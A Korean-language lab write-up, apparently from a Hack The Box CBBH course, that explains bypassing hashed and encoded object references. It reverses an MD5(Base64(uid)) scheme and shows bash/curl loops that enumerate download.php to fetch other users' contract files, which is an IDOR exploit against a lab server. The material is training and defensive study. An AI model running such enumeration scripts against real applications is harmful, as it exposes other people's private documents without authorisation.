본문 바로가기

Hack The Box CBBH

CBBH - Web Attacks[Bypassing Encoded References]

일부 웹 애플리케이션은 객체 값을 해싱하거나 인코딩을 통해 직접적인 열거를 어렵게 한다. 하지만, 이러한 방식도 우회할 가능성이 있다.

실습 웹 사이트에 contracts.php 사이트를 확인할 수 있다. 해당 사이트을 통해 계약에 관한 pdf파일을 다운로드 할 수 있다.

위 파일을 클릭하면 다운로드할 수 있는데, 다운로드하면 파일 이름은 다음과 같이 표시된다.

좀 더 확인하기 위해 네트워크 탭에서 확인해보면 파일 이름이 contract_[Hash].pdf 형식으로 이루어져 있다.

또, download.php 페이지를 통해 파일을 다운로드 하는 것을 알 수 있다.

해당 해시값은 Base64형식으로 보인다. MQ==를 디코딩하면 1이 된다.

HTB 모듈의 해시 cdd96d3cc73d1dbdaffa03cc6cd7339b 와 실습 해시가 다르지만 진행해보려 한다. 모듈과 비슷하게 진행하기 위해 contract 파일에 있는 md5 해시를 만들어보려 한다. 현재 uid 값은 1이므로 MD5를 통해 비교해 볼 수 있다.

DDDD@NNKNOWN ~ % echo -n 1 | md5sum
c4ca4238a0b923820dcc509a6f75849b  -

이 값은 c4ca4238a0b923820dcc509a6f75849b 값과 같은 것을 볼 수 있다.

HTB 모듈에서는 해시 값이 cdd96d3cc73d1dbdaffa03cc6cd7339b 로 다르다. 해당 해시를 기준으로 다시 exploit 과정을 보려 한다.

웹 애플리케이션의 프론트엔드 코드를 확인해보면 다음과 같다.

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}

여기서 함수를 살펴보면

  • btoa(uid)uid 값을 Base64로 인코딩
  • CryptoJS.MD5(btoa(uid)) 를 통해 인코딩한 값을 MD5를 통해 해싱
  • 최종적으로 contract 파라미터로 전송되는 것을 확인할 수 있다.

이제 해당 과정을 반복하면 같은 해시 값을 얻을 수 있다. 목표로 할 해시 값은 cdd96d3cc73d1dbdaffa03cc6cd7339b 이다.

DDDD@NNKNOWN ~ % echo -n 1 | base64 | tr -d '\\n' | md5 #mac에서는 -w 0 옵션을 제공하지 않아서 tr -d '\\n' 으로 줄바꿈을 제거
cdd96d3cc73d1dbdaffa03cc6cd7339b

#base64 -w 옵션 사용
DDDD@htb[/htb]$ echo -n 1 | base64 -w 0 | md5sum
cdd96d3cc73d1dbdaffa03cc6cd7339b -

이렇게 contract 값과 동일한 해시를 생성한 것을 확인할 수 있다. 이렇게 해시 방식을 역으로 추적해 파일에 접근할 수 있다.

Mass Enumeration

이제 uid 값을 1부터 20까지 적용해서 데이터를 열거해보려 한다.

DDDD@NNKNOWN ~ % for i in {1..20}; do echo -n $i | md5sum | tr -d ' -' >> contract; done
DDDD@NNKNOWN ~ % cat contract
c4ca4238a0b923820dcc509a6f75849b
c81e728d9d4c2f636f067f89cc14862c
eccbc87e4b5ce2fe28308fd9f2a7baf3
a87ff679a2f3e71d9181a67b7542122c
e4da3b7fbbce2345d7772b0674a318d5
1679091c5a880faf6fb5e6087eb1b2dc
8f14e45fceea167a5a36dedd4bea2543
c9f0f895fb98ab9159f51fd0297e236d
45c48cce2e2d7fbdea1afc51c7c6ad26
d3d9446802a44259755d38e6d163e820
6512bd43d9caa6e02c990b0a82652dca
c20ad4d76fe97759aa27a0c99bff6710
c51ce410c124a10e0db5e4b97fc2af39
aab3238922bcc25a6f606eb525ffdc56
9bf31c7ff062936a96d3c8bd1f8f2ff3
c74d97b01eae257e44aa9d5bade97baf
70efdf2ec9b086079795c442636b55fb
6f4922f45568161a8cdf4ad2299f6d23
1f0e3dad99908345f7439f8ffabdffc4
98f13708210194c475687be6106a3b84
------------------
#자동화 스크립트
#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

이렇게 contract 의 해시값을 추적해서 진행할 수 있다. 이제 실습 상황과 맞게 공격을 진행해보면

DDDD@NNKNOWN tttt % for i in {1..20}; do
    hash=$(echo -n $i | base64 | tr -d '\\n')
    curl -J -o $i.txt  "<http://94.237.60.159:47702/download.php?contract=$hash>"
done
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    30  100    30    0     0     37      0 --:--:-- --:--:-- --:--:--    37

와 같이 사용하면 현재 상황과 맞게 contract=MQ== 를 이용해 IDOR 취약점을 트리거할 수 있다.